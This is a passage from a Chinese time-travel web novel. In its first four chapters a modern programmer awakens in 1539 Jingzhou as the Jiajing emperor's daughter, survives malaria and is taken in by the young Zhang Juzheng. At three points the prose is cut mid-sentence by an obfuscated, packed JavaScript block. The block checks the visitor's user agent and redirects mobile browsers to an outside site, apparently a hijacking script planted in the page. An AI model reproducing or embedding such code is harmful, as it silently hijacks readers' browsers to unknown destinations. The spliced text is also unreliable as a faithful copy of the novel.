《穿越成嘉靖长女后》 1. 第 1 章 荆襄之地多流民。 所谓流民,多是在原籍地受兵、匪、旱、涝、虫等天灾人祸,又不堪官府与地方豪绅的压榨盘剥,不得不背弃家园,四处逃亡的人。这些人中,老弱病残者多半转死沟壑,侥幸活下来的则聚于山林间,或垦荒种植以换糊口之资,或啸聚哗变,落草为寇,依山据险,与官府对峙。 而荆州襄阳一带,既是九省通衢,地处要冲,又有高山险阻,无巡检司盘诘,于是天然地成为流民群聚之所。 阳春三月,荆州府里弥漫着铁锈味儿的冷气。在寅宾门附近一座城楼上,竖着三根木杆,每根木杆上都绑着一个塞满稻草的假人。风一吹,稻草就在皮里哗啦啦响。 蜷缩在黄土地上的连嬅睁开眼时,只闻到一股土腥混合着血腥的臭味。她的目光从寅宾门城墙角落的青苔一路往上,飘到城楼上那几根显眼的木杆处。 这是在搞什么行为艺术吗?连嬅意识涣散地想,真的不会被城管当场拿下吗? 很快她就发现那些绑在木杆上的稻草人,顶上还插着一颗头。和略显滑稽、不成比例的“稻草身体”相比,这几颗头简直栩栩如生。黑糊糊的发丝和胡须彼此粘连着,僵硬成块,被风掀起时便露出底下狰狞的脸,一道长长的疤,鱼一样快要瞪出来的眼珠子,和紫黑色大张着的嘴。 连嬅与那双怒目圆睁的鱼眼遥遥对视了两秒,一阵心悸,又把视线挪回到墙角的青苔上。 凛凛寒风冻得她整个人打颤,又时不时热得犹如火烤。她的意识昏昏沉沉,甚至常常感受不到自己的四肢,有一种魂魄离体般的错觉。 作为毕业刚满半年的计算机专业大学生,连嬅曾经吐槽自己996的码农生活为活人微死,如今她又有了截然相反的体验,叫死人微活。 童话故事里卖火柴的小女孩在冻死之前看到了温暖的火炉、喷香的烤鹅、美丽的圣诞树和死去的祖母,而连嬅在生命尽头却看到了诡异的走马灯。 一个穿着青灰色道袍的童子,大约十岁的样子,皮肤细白,眉眼精致,在一群人的拥簇下向另一位头戴香叶冠、身穿天青色云纹道袍的道长行礼。 “儿臣给父皇请安。” 像是一场格外荒诞的过家家游戏。 不属于她的记忆洗脑式重放着:你是当今皇帝与过世的陈皇后的女儿,是身份贵重的皇长女,你从小生长在紫禁城…… 连嬅:不对,我是湖北农村人,一辈子都没去过北京。 但模糊的记忆画面并不受她微弱意志的掌控:……你生长在紫禁城,跟随父皇修道,熟读道家经典,六岁就能提笔写青词…… 寅宾门迎来送往,运送货物的车夫、进城做生意的商贾、携友交游的士人等等,基本都是些男人。他们裹着各式头巾,穿着宽大的长袍,像横店里跑龙套的群众演员。没有人关心路边是不是有个冻死的小孩,倒是有不看路的不小心踢在连嬅尚且柔软的身体上,然后踹一脚,唾一口“晦气”。 那些片段式的走马灯不知道第多少遍重映后,连嬅犹如回光返照般终于恢复了一丝精神。 强烈的求生意志支撑着她努力伸长手拽住路边行人的衣角,盼望能遇到一位善良有爱心的人,看出她兴许还有救,把她送去医院或者什么诊所。可那些被拽到的人通常像是踩到了臭狗屎,一边狠狠地踢开她,一边骂几句听不懂的方言。 “求求你……救救我……”这六个字她不知道说了多少遍,说得本来就干涩的喉咙越来越沙哑。 终于有一个人愿意稍微停留脚步。他俯身,探探连嬅的鼻息,颇有些惊讶地扬声:“霍,竟然还有气儿。” 连嬅更用力地扯着他的衣服,袖口往下滑了一小截,露出一段沾了泥灰也细皮嫩肉的手腕。 一看就知道不是个干活儿的手。 这种多半是被拐子拐来后生了病,往路边随手一丢的赔钱货。 脏是脏了点,样貌也看不清楚,但估摸着洗一下应该有几分卖相。 连嬅哪里知道他的算盘,她急于拽住这根救命稻草,生怕对方犹豫后不愿担麻烦。烧糊涂的脑子失去了控制言语的能力,她惶惶然脱口而出:“我是……皇帝……女儿,救……救我。” 这荒唐话和“我是秦始皇,给我打钱”倒有异曲同工之处。做人口买卖的都是人精,谁听了不得笑掉大牙。 于是男人站起身,冷笑一声:“原来是个疯子,真背时。”他又往连嬅身上狠踹了两脚,“好狗不挡道,滚一边去。” 天色渐晚,在熹微的日光即将彻底被黑暗吞噬之际,又有两个年轻人路过连嬅的“尸体”。 一个穿着蓝袍的青年说:“这小乞丐看着倒是可怜。哎,仇将军带兵剿匪,不晓得要剿多久。八岭山的匪首都吊在城门楼了,听说死了不少人,尸体就近扔到湖里,那一片简直臭气熏天。” 他感慨了两句,脚步却没停,往外走出几米远,才发觉同伴没有跟上来。 “盟弟,你不会还想帮这小乞儿收尸吧?快走远些,谁知道得了什么病,脏死了。” 不对,不对,我还没死。连嬅用尽全身的力气拽住眼前这片青色的衣角,她五指打颤,张张嘴,发出微弱又模糊的声音:“救救……救我……” “他还活着。”穿着青衣的年轻人蹲身靠近她,声音有些发哑,“你说什么?” 这大概是个还处于变声期的少年,十来岁的样子。连嬅努力地瞪大眼睛,死死盯着这一整天里第二个愿意为她停留的路人。 说点什么吧,她催促自己,万一这个人也像上一个那样,踹你两脚走了呢?可是她能说些什么?求你救救我,我不脏,我才二十二岁,我还不想死……这些话多么的苍白无力。 她又张张口:“我是……” 我是谁? “什么?”少年蹙紧眉。 她只能攥紧那一片衣角,瞪着视线模糊的双眼,用恳求的语气发出喑哑无力的哀鸣:“救救我……” “没死也快死了!明天自然有衙役来处理,盟弟管这闲事做什么?”蓝袍青年往回走了两步,站在离连嬅两米远的位置劝道,“这几天乱得很,有不少流民非往城里钻,指不定是仇将军剿匪时逃跑的余孽,这种人冻死了也是命。再说了,你要见一个救一个,救到家财散尽也救不过来啊。” “我送他去医馆。”青衣少年把连嬅扛在背上,扭头向同伴告别,“盟兄若有事,自去便是。” “你这……哎——” 这是一具格外单薄的少年的身体,他动作并不轻柔,脊背上的骨头还相当硌人,但彼此接触的地方又散发着温暖的气息。连嬅头脑发昏,感觉心脏像是泡进了温水里,眼眶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736924|157358||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被这股暖意烘得发热,几颗滚烫的泪珠从冰凉的身体里涌出,把为数不多的热量滴在少年的脖颈上。 他有些不自在地缩了下脖子,用低哑而沉静的声线安抚着背上的可怜人:“你别怕,医馆离这里很近,我送你过去,吃了药很快就会好的。” 可最大的恐惧来自于未知。 连嬅还记得自己被无良公司卡试用期最后一天辞退且拒不赔偿,怀着满腔怒火收集整理证据准备劳动仲裁,熬了大半宿没撑住睡着了,醒来时就半死不活地倒在路边。 无论是来往行人的衣着还是口音,都在提醒她这是一个全然陌生的世界,而非她一开始猜测的什么古装戏剧组、行为艺术、cosplay。多年来坚固的唯物主义大厦已经有了隐隐崩塌的征兆,连嬅不得不往时空穿越、转世投胎之类魔幻的方向联想。 她的cpu在高烧下已经接近罢工,耳朵里嗡嗡作响,浑身骨头酸痛,尤其是头,痛得让人只想找个什么坚硬的东西狠狠撞几下。 日落西山,四处沉寂,开在城东的何家医馆也到了闭门的时候。何汝明正要上锁,却来了个没眼色的少年。他斜眼一瞥,也没看是谁,张口劝退:“本店已闭馆,看病明日请早。” “在下江陵县秀才张居正,人命关天,还望太医通融。” 这年头时兴戴高帽,什么“大夫”“郎中”的,已是前朝的老黄历,既然宫里的医者叫太医,百姓们就管民间的医者也叫太医。 都说万般皆下品,惟有读书高,但区区一介秀才,放荆州府这地界其实不值一提。往好了说是考上了功名,可若是折腾个几十年中不了举,当不上官,那老秀才也不过是个酸儒。 秀才不稀奇,稀奇的是“张居正”这个名字。这可是荆州府远近闻名的神童,十二岁考童生试时就得了府台李士翱的青眼,亲自为他改名“居正”。十五岁赴武昌应举试,又被当时的巡抚,如今已官至兵部尚书的顾璘许以国士,呼为小友。 何太医推开门,脸上堆着笑,捋一捋山羊须:“原来是张相公,快快里面请,不知病的是?” 张居正略一迟疑,偏头看了眼背上昏迷的小孩儿,回道:“一位朋友。” 何汝明识趣地没有多问,回馆里仔细看过连嬅的病情,神色却越来越凝重。 “这位小友先伤于寒,后伤于风,舌红而苔白,寒热休作有时……” 他口中念咒般吐出无数个名词,最后得出结论,是疟疾,没救了,还是早点准备后事吧。 躺在病床上的连嬅昏昏沉沉间敏感地捕捉到了关键词。提起疟疾,任何一个现代人都会自然地想起青蒿素,她拽住大夫的袖口,努力发出声音:“青蒿——” 何太医显然被她的突然诈尸吓了一跳,喉结上下一滚,吞了口凉气:“小友也看过《肘后备急方》?那是千百年前的老方了,兴许记载有误,青蒿对疟疾并无效用……” 连嬅不仅看过诺贝尔奖,还刷过青蒿素萃取的化学题。她知道青蒿素是烃的含氧衍生物,为无色针状晶体,易溶于丙酮、□□和苯,可溶于甲醇、乙醇、□□等,几乎不溶于水。 她抖着嗓子,尽量清晰地说:“黄青蒿……捣碎,用酒……泡……” 也不知道这个时代的酒精纯度如何,但死马当活马医,有机会总得试一试,万一她命大呢? 2. 第 2 章 日入胭脂红,无雨也有风。孙月娥原本在内院里紧赶慢赶收拾草药,生怕明日一早落了雨,把地上晒的药材泡废了。 她当家的却不看天色,急急忙忙拽着她要往前院去。 “没见老娘忙着呢,一天到晚猴急忙慌,也没见挣回来几个钱——” “嗐,是江陵张相公,带了个病恹恹的小孩来,又是个女娃娃,浑身脏兮兮的。估摸着没几天好活了,梳洗梳洗,让她走得体面点吧。” 这段日子城里乱得很,八岭山那三位山大王被仇将军剥皮揎草挂在东门城楼上后,不少流民携老扶幼拖家带口地往城里挤,生怕被当成山匪一起剿了。白天有兵士把守,他们既没有用以贿赂的银钱财货,便进不得正门半步。夜里趁看守的杂役睡了,就悄摸在城墙上掏狗洞,爬也要爬进荆州府。 这些人面黄肌瘦、形容枯槁,浑身脏臭,多半还染着不止一种病。一场春雨砸下来,便浇死许多条人命。 他们大抵也不能算人,只是长得格外硕大的老鼠,贱命一条,死就死了,偏偏死在城里,还要给差役老爷们添麻烦。倘或处理不及时,方圆几里地都要被邪气侵染。 孙月娥是看不上这些城外来的老鼠的,但托他们的福,这几天医馆的生意却是越来越好。她满心嫌弃地脱去连嬅身上的脏衣服,又把人拎起来浸在热水桶里——要不是看在张相公多给的那一钱银子的份上,她是决舍不得烧这桶热水的。 连嬅躺在病床上时,头发板结,乱糟糟一团,又沾着黑的黄的各种污秽,在热水里泡散开才终于现出原形。乌溜溜像一团油墨,长度将将落在肩下,才蓄了不到两年。 孙月娥自己也有个闺女,虚岁十五,一头黄毛喝了不知道多少碗黑豆粥都没调理好,看了难免羡慕。她轻轻揉了揉连嬅的头发,打心底里叹了口气:可惜了。 可惜这么好的头发。 孙月娥没点灯,就趁着窗边的月色给人搓洗。等一桶清水洗成了污水,连嬅终于从地沟里爬出来的老鼠蜕化为人。她漂亮的鹅蛋脸在水汽缭绕中微微泛红,两颊圆润,还带着未褪尽的婴儿肥。她的皮肤白到像在发光,细腻柔滑,手感甚至比隔壁布店里最贵的那匹提花绢还好。 真是神仙般标致的人物,也不知是哪家的大小姐落了难。孙月娥把人从水桶里捞出来,就着月光给她擦身,一眼看到她从腰腹到大腿处连成一片的青紫。 拐子真可恨!看把孩子打得不成人样了! 她又叹一声,仿佛看到那匹她摸了又摸也买不起的提花绢掉进了臭水沟里。 也不知道是民间自制青蒿素真的有用,还是连嬅顽强的求生意志在暗中发力,总之她睡了一天两夜,醒过来时高烧已经退了,身体虽然酸胀乏力,但好歹没了那股从骨头缝里钻出来的疼劲儿。 这是一间很简陋的杂货屋,放着一张小小的木板床,一个散发着刺鼻的中药味儿的木柜子,几个竹篾编成的篮筐,还有一把沾着泥土的铁镐头,痕迹斑驳,一看便知用了不少年。 连嬅挣扎着撑起身体,腰上的淤伤痛得她龇牙咧嘴,也让她的大脑前所未有的清醒。 她看了看自己的细胳膊细腿,再摸摸身上略有些扎人的麻布交领内衬,不由得陷入了短暂的哲学沉思。 我是谁?我在那?我要干什么? 正想下床,却看见一个细长脸的妇人推门进来,怀里抱着件杏红色的旧衣。见了她,惊得瞪圆了眼:“哎呀,你醒了!” 连嬅眨眨眼,不知道该说什么。 妇人把怀里的旧衣放到床边,是一件交领短袄并一条百裥裙,口中解释:“这是我家闺女先前的旧衣,你不嫌弃就暂且穿着,都洗得干干净净的,你看——” 连嬅又眨眨眼,道了声谢。她的嗓子里弥漫着一股黄酒味儿,混合着青蒿的苦涩,多少有点张不开嘴。 但救命之恩,不能不记,连嬅捏了捏喉咙,礼貌地问:“昨天送我来的那位——朋友呢?” “你说张相公?他学里有事,留下银子就走了。”孙月娥亲热地笑着,看出连嬅嗓子不舒服,她又道,“柴房里刚烧了热汤,我给姑娘端一碗过来?”说完,也不等连嬅回复,风风火火地走了。 去的却不是柴房,而是正堂。 她爹啊,这年头真是白日见鬼,死人诈尸了! 连嬅只能望着她的背影消失,然后埋头研究床上的衣服。虽说是旧衣,但完完整整的,一没破洞二没补丁,只是袖口略有磨损,看得出主人的珍惜。 她还不知道这是孙月娥给她挑的寿衣。何太医断定她活不过今天,又担心她死在自家的杂货房晦气,所以打算拿草席卷了,丢去城外的乱葬岗。 孙月娥于心不忍,所以拿了女儿的旧衣来,想让她走得体面点。 连嬅展开短袄,两个窄袖套进去,也不知是哪边往哪边折,正尝试呢,忽然听见窗前一声清脆的提醒:“你穿反了!” 她循声看过去,是个十来岁的小姑娘,头发有点泛黄,但眼睛圆圆的,看着格外有生气。 连嬅抿唇微笑,问她:“你是谁?” “我当然是我爹的女儿。” “那你爹是谁?” “我爹就是昨天救了你的何太医!你身上这件衣服还是我的呢!”小姑娘颇为神气地说完,又指导连嬅穿衣服,余光一直瞟着柴房的方向,看见有人过来,一溜烟跑了。 孙月娥来送饭和水了,送之前她当然先去正堂和丈夫说了连嬅醒来的事。何太医揪着他的山羊须大感震惊,难以置信,一边琢磨是不是回光返照,一边又想说不定这青蒿泡酒真能治疟疾?但他还有几个病人要瞧,暂时没工夫回后院,只让妻子先去观察。 连嬅就靠坐在床边,上身套着那件洗褪了色的旧袄。她望着窗外发呆,脸色瓷白,目光像笼罩着云雾一般缥缈。孙月娥把饼和热汤递过来,原本以为这姑娘应该是饿得不行了,没想到她谢过好意,接在手里却小口小口地啃,只把热汤喝了个干净。 怎么看都是大户人家的娇小姐。 孙月娥试探着问:“姑娘,你家在哪里啊?” 连嬅垂下眼睑:“我记不清了。” 这大饼是真噎挺啊!三公分厚又硬又瓷实,简直可以当防身用的砖头。而且是纯粗面做成的,里面还掺着不少麸子,嚼也嚼不动,干咽又拉嗓子,只能当吃药一样开水送服。 哎,这杀千刀的拐子。孙月娥一阵唏嘘,让她先安心休息,别想太多,端过碗走了。 她一走远,刚刚溜走的小姑娘又悄摸出现在窗边。偷感很重的样子让连嬅忍不住乐出了声。 小姑娘脸一红:“你笑什么?” “你长得好看,所以我见了就想笑。”连嬅顶着一张萝莉脸,毫不羞耻地调戏良家少女,成功把人家的耳朵也逗红了,“还未请教小姐芳名?” 小姑娘扭捏地说:“我叫何可柔,我爹娘都叫我丫丫。” “好吧,丫丫,你站在外面不冷吗?” “冷,但我爹娘不让我过来……站这儿还能看着我娘,她来了我就跑。” 连嬅“哈哈”一笑,不小心扯到了腰,又倒吸两口冷气。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736925|157358||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何可柔眼睛亮晶晶的看着她,压不住心里的好奇问:“我娘说你是山上贼窝里跑下来的,你见过山匪吗?我听说他们长着铜铃大的眼睛,尖尖的大獠牙,一到夜里就会变成老虎,还喜欢喝人血——人血好喝吗?” 连嬅摇摇头:“我也不知道。” “娘又骗我。”何可柔噘起嘴,哼哼两声,“前几天听说有个什么山的山大王被捉了,还被剥了皮塞了一肚子茅草,就挂在东门城楼上。但我娘不许我出门。” 她惆怅又好奇:“山大王的皮长什么样子?是老虎皮吗?不过我也没见过老虎。” 连嬅脸一白,立刻联想到昨天城楼上吊着的三个稻草人——扭曲的身形,狰狞的头颅。 原来那是人皮。 她的脑袋一阵发晕,胃里也翻江倒海起来。 “你怎么了?我叫我爹来——” “没事。”连嬅挤出一抹笑,问她,“你知道今天是什么日子吗?” 何可柔莫名其妙:“什么日子?三月三十啊。” 连嬅追问:“哪一年呢?” “你不会烧坏脑袋了吧?真不记得了?今年是嘉靖十八年——” 公元1539年,距离明王朝灭亡还有105年,距离封建王朝彻底结束还有373年。 真是漫长的、看不见天日的未来。 刚穿来时的脏衣服被孙月娥洗干净了堆在床脚,是一件破破烂烂的月白色长袄,摸着也是棉麻布的手感,不过不扎手。连嬅端详了半天,才发现这衣服的边角处绣的都是暗纹。 什么叫低调的奢华。 何可柔时不时偷溜过来,陪她说两句闲话。这姑娘是个实心眼,三两句快把家里的老底都掏干净了。她家世代是医户,祖父祖母过世得早,把城西的老字号留给了大伯。三年前父亲和大伯分家后,独自在城东开了家医馆。这间院子就是那时租来的。 家里雇不起佣人,又只有何可柔一个孩子,可把她憋坏了。哪怕爹娘三令五申不许她去杂物房,她也要阳奉阴违地找过去。不过昨天连嬅一直处于昏迷状态,所以连句话也没说成。 晌午时下了场大雨,天色昏沉,乌云压顶。连嬅听着窗外潺潺的雨声,心想那位救了她的少年今天应该不会来了。 她只知道姓张,似乎是个年纪不大的秀才。十几岁能考过童生试,在古代多少也算是天才了吧。想到这里,连嬅的情绪又迅速低落下来。 这场莫名其妙的穿越之前,她也是镇上有名的天才。中考时以全县第一的成绩进入市重点高中火箭班,虽然最后遗憾没考上top2,但也进了某上游985的计算机专业。 对于农村出身,家境贫寒的孩子来说,这已经是未来坦荡、前程在望了——可惜一毕业就碰上了不当人的狗公司。 早知道就该考选调!连嬅恨恨地想,可惜这辈子什么考试什么公务员,是彻底和她绝缘了。 她试着回忆并不遥远的上一辈子,却想不出什么值得留念的东西。爹死得早,妈跟人跑了,从小被种地的外婆一手带大,上学全靠助学贷款和兼职赚钱。大学毕业时,外婆也病死了,从此彻底成了孤家寡人。 要说还有什么不舍得,那大概是她省吃俭用地攒了半年的工资,什么也没享受到就成了废纸——不,废弃的电子数据。 呜呼哀哉,这世上最痛苦的事莫过于人死了,钱没花完,以及人还活着,钱没了。谁想到“双喜临门”,全让她碰着了。 正惆怅着,忽然听见屋外嗒嗒的脚步声——那是木底的油鞋踏在雨水里的声音。 3. 第 3 章 连嬅把关紧的窗户推开一道缝,斜风裹着细雨扑面而来。雨线织成的细网像一道道厚重的帘幕,她只能隐约看见一把撑开的油纸伞,和一道细长的人影。 “嗒、嗒、嗒”,声音越来越近,不疾不徐,最后停在杂物房的门口。来人抬起手,轻轻叩门。 连嬅坐直了身子,道:“请进。” 门吱呀一声被推开,背着光,少年的脸浸在深沉的昏暗里,看不清细节。他收起伞,放在门口,一偏头,看见了推开的窗户。 连嬅生怕被发现自己偷窥,低着头解释:“屋里太闷,我就开了条缝。” “……外面风大,还是关上吧。” 仍旧是熟悉的,低哑又温和的声音,语调却不容置疑。 少年伸手把窗户拉紧。 涂了桐油的窗纸不仅挡风挡水还挡光,更别提屋外天色昏黑。油灯是没有的,蜡烛更加不可能。狭小的空间里塞着木柜、木床并一些杂物,甚至没有多余的地方搁凳子了。 男女七岁不同席,这是礼数。 张居正合上窗后,就站在原地,长身肃立,神色端凝,似乎在思考该怎么开口。 连嬅朝他拱手,虽然心知这乌漆嘛黑的没人看得清,还是像模像样地作了个揖:“深谢恩公救命之恩,往后若有机会,必结草衔环以报。” 像她这样的年纪,再正经八百咬文嚼字地学大人说话,听起来也是一团稚气。张居正微笑着摇摇头:“你该谢的是你自己。” 诚如昨日同行的王之诰所言,这几天城里乱得很,他区区一介穷书生,若是见一个可怜救一个,那用不了几天就得去喝西北风了。 之所以选择搭救这个孩子,只是为那只死死攥着他衣角的手,和那双半睁着的眼睛里熊熊燃烧的火。 她孱弱的身体明明已经到了穷途末路,却被强烈的意志硬撑着苟延残喘。 更何况,张居正自认为也没帮多大忙。他只是把这孩子送去了最近的医馆,给了点微薄的医药费,对她身上的病实在束手无策。 思及此,张居正顺口问了一句:“你是医户出身?” 太祖皇帝朱元璋建立明朝后,为了他梦想中的长治久安,把全国人民分成四大类,即民户、军户、匠户、灶户,细分又有儒户、医户、阴阳户等,规定籍不许乱,役皆永充,也就是除非你全家死绝了,不然你祖宗干什么你就得跟着干什么。 所以这年头行医的都靠祖传。如果不是医户,也很难接触到各种医书医方。 不,我是码农出身,家就在湖北荆州,只不过是几百年之后的。 连嬅摇摇头,虽然本意不想欺骗恩公,但真说实话恐怕会被再一次当成疯子。她打了个折扣:“我爹是个道士。” 是真的,道号太上大罗天仙紫极长生圣智昭灵统三元证应玉虚总管五雷大真人玄都境万寿帝君,是不是很威风呢? 张居正表情微妙,又问:“你还记得家在哪里吗?” 这个问题就大可以说实话了,只是不能说太细。 连嬅答曰:“顺天府。” 顺天府即北京,成祖朱棣在靖难之役后成功篡权夺位,以北平为“龙兴之地”,升北平为北京,改北平府为顺天府,从此大明有了一南一北两个首都。 南京的属于养老机构,北京的则是真正的政治风暴中心。 顺天府离荆州府足足两千多里地,放在古代,那真是天南海北。想跨越这么远的距离,不仅要有钱,最好还得有人护送,不然路上碰到个马匪,小命就交代了。 “是怎么到荆州府来的?在此地可有亲友?”张居正问。 连嬅摇摇头:“我不记得了,应该没有。” 那事情就有些难办了。 张居正蹙着眉:“我昨天救你时,还以为是个男孩。” 毕竟连嬅身上的衣服不是女孩子常穿的褶裙,而是件类似于道袍的直裰。 现在想想,原来是个道童,那也难怪。 “呃……很遗憾。”连嬅干巴巴地接了一句。 这句话不知哪里戳中了张居正的笑点,他笑起来真诚而直接,肩膀一颤一颤,总算有了点十四五岁的少年该有的孩子气,那股刻意端起来的拒人千里之外的架势也消散了。 “遗憾却不至于,只是有些麻烦。” 他救都救了,自然想着尽可能帮到底。如果这孩子还记得家在哪,那就托人把他送回家去,如果不记得了,正好他身边还缺个书童,带回张府母亲也不会说什么。 结果偏偏是个女孩。 张居正接着盘问:“你还记得自己叫什么名字吗?” “连嬅,连理枝的‘连’,嬅是——” 这个字很生僻,是她外婆翻了一天新华字典取出来的,因为越复杂越不认识的字看起来越高级。 “女字旁,華夏的華。” 她回答完问题,鼓起勇气,学着电视里那些古装剧的腔调:“还未请教恩公尊姓大名?” 张居正又笑起来,笑得连嬅心都在发虚。半晌,他终于停下来,顺着连嬅的语调文绉绉地回了一句:“敝姓张,名居正,荆州府江陵县人。” 张什么?什么居正? 连嬅目光呆滞,神色发飘,大脑“咔”一下停止了运转。 还好屋里黑,别说表情,能看出轮廓都算不错了。 这时候应该说什么?久仰大名?如雷贯耳?男神我是你的粉丝啊给我签个名吧? 连嬅上辈子拥有的第一本非教材书,就是高一用奖学金买的那本红色封皮的《张居正大传》。 ——因为那年期末联考的语文卷子,文言文部分选的是张居正的《论时政疏》。很不幸,连嬅只得了三分,还是蒙对的一道选择题。 她怀着无比愤懑的心情花“巨款”买下《张居正大传》,看完全书后只觉得惆怅。 一个出身寒微的文弱书生,历经嘉靖、隆庆、万历三朝,与严嵩、徐阶、高拱三位首辅共事。他亲眼见证着明王朝的腐朽衰颓,百姓的民不聊生,官场的尔虞我诈。但他从未忘记自己经世济民的政治抱负。为了这份光明伟大的事业,他不惜使用一切手段,结交宦官、得罪权贵、甚至弄权专政、架空主上…… 他任首辅时,权倾朝野,总揽大权,柄政十年,为国事殚精竭虑,熬干心血,最终病死在任,恍似一个虔诚的殉道者。 大明朝已然日薄西山,张居正却用生命点燃了残日将沉时最耀眼的暮光。他为这个腐烂入骨的王朝振衰起隳,得到的却是身后的反攻倒算。阖家被抄,饿死十数人,老母幽囚,长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736926|157358||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子自缢,兄弟、诸子被流放,甚至险些被亲自教养的皇帝开棺戮尸…… 有人骂他“残害忠良,荼毒海内”,有人骂他“包藏祸心,狗彘不食其余”,更有甚者颠倒是非,斥他为“万古之罪人”,把大明朝衰败灭亡的根因归咎于张居正…… 连嬅刷题刷到大脑僵硬时,很爱翻一翻张居正相关的史料。作为一个不折不扣的理科生,她甚至啃完了嘉隆万时期的《明实录》。从此文言文选读几乎都是满分,倒成了意外收获。 总而言之,连嬅此时心潮之澎湃,犹如基督教信徒亲眼看见了上帝。她回过神来,发觉自己半躺在床上,男神却站着,顿时如卧针毡,腰上那点淤伤也感觉不到痛了,从床上弹起来,没穿鞋踩在冰凉的泥土地上,然后指指床榻—— 这可怎么称呼呢?男神显然不行,恩公好像他不喜欢,按照时人的习惯称秀才为相公又叫不出口……连嬅嗫喏着,低声说:“先生,你坐吧,我站着。” 张居正:…… 这孩子怕不是烧坏了脑子。 他用命令式的口吻说:“躺回去,别乱动。”然后又加了一句,“也别叫我先生。” 在明代,先生的称谓还没有那么泛滥。三司见督抚时会称“老先生”,见巡按御史或部使,公称“先生”。此外,门生称座主,或内阁九卿这种级别的官员互称,也会用“老先生”。 这是身份尊贵、德高望重者才有的称谓,用这个词称呼一个年轻秀才,属于纯纯的马屁精行为。 连嬅还想再分辩两句,一抬头撞见他不容置喙的目光,遂乖乖回到床上。 张居正又恢复了温和的态度,他问连嬅:“你认得我?” 那何止是认得,每年清明端午,给你扫墓都扫了十来回了。 连嬅摇摇头,说:“不曾见过先……相公。” 一阵沉默。 窗外雨势渐停,乌云褪去,露出昏黄的日光。 连嬅在沉默中悄悄抬起头,看见男神半明半暗,美得冒泡的脸。 《明史》没骗人,“居正为人,颀而秀眉目”,赵贞吉也没骗人,“世之所谓妖精者,张子其人也”,于慎行更是大实话,“故江陵相公面若敷粉,眉目媚秀,颀身树立。其沉默自持、难得一笑,风姿真如覆雪之昆仑,肃肃烨烨,清冷艳绝。” 沉浸式欣赏了五秒钟,她终于发现男神眼神不太对。 他看她的目光,犹如看一个老大难。 张家的经济状况不能说差,起码比起外面无家可归的流民,他们在江陵县有房有地,维持基本的生活是没问题的。可也很难说好,毕竟家里供着两个读书人,一个是张居正,一个是他爹张文明,还有两个嗷嗷待哺的弟弟,居敬和居易。 连嬅聪明的脑袋终于开始运转了,她努力推销自己:“其实我——” 我有扎实的java编程基础,精通各种主流框架,能熟练使用中间件,有丰富的前后端项目经验,ACM-ICPC竞赛拿过亚洲区域铜牌,英语六级675分,自学过日语,还有N1证书…… 但是这些都说不得,她只能拿自己的童年经历努力凑数,声音越来越小—— “我放过牛、插过秧、喂过鸡,力气还挺大的,砍柴挑水都没问题,做饭也还可以……” 4. 第 4 章 哪个干苦力活的能这么皮白肉嫩,说出来真是鬼都不信。 但兴许是出于某种人道主义精神,张居正叹了口气,拍了拍连嬅的脑袋。 “你愿意的话,就暂住在我家吧。等联系到你的亲人,再让他们来荆州接你。” ——那似乎不是很好联系,可能得等你考中进士了。 事实上,连嬅对自己目前的处境还知之甚少。 她的便宜爹嘉靖皇帝朱厚熜,本是湖广行省安陆州一个藩王的儿子。只是武宗皇帝朱厚照驾崩时无子,他的父亲孝宗又只留了这么一个独苗,于是按照兄终弟及的祖训,兴王世子朱厚熜承统,年号“嘉靖”。 嘉靖的生母,献太后蒋氏于去年十二月病逝。本来应该将嘉靖的父亲、从没当过一天皇帝的睿宗的棺椁迁至北京天寿山合葬。可嘉靖犹豫过后,力排众议,一定要将母亲梓宫南下。 于是浩浩荡荡的嘉靖南巡开始了。 在连嬅模糊的记忆里,她也是随行的一员。但究竟是怎么从安陆来到荆州,又是怎么半死不活倒在路边,却完全没有印象。 一个年仅十一岁的小姑娘,从出生起就被锁在宫门内,母亲死得早,父亲待她也冷淡,没有任何染指权力的可能性,她能得罪谁呢? 想想那双看不见的幕后黑手,连嬅就对这随时可能有生命危险的公主之位失去了所有兴趣。更何况还没有公主的封号。 大明的皇女,得等定了亲、嫁人前才能得到封号。 待在张家不好吗?每天看看大帅哥,陶冶情操,可比对着嘉靖那个喜怒无常的暴君好一万倍。 这世界上一切同盟关系都逃不过同舟共济、同床异梦、同室操戈、同归于尽,甚至如果千百年后青史有名,还能来一个同人文学。 仇鸾与严嵩,本该处于第一阶段。 他们有共同的敌人——从扳倒张孚敬后便在内阁一手遮天的夏言;也有共同的利益——只要夏言倒台,严嵩上位,那么权利和金钱都近在咫尺。 但此时此刻,仇鸾揉碎了严嵩传来的密信,怒火中烧,在荆州卫的卫所内踱来踱去,恨不得现在出发去承天府找这位大宗伯当面对质。 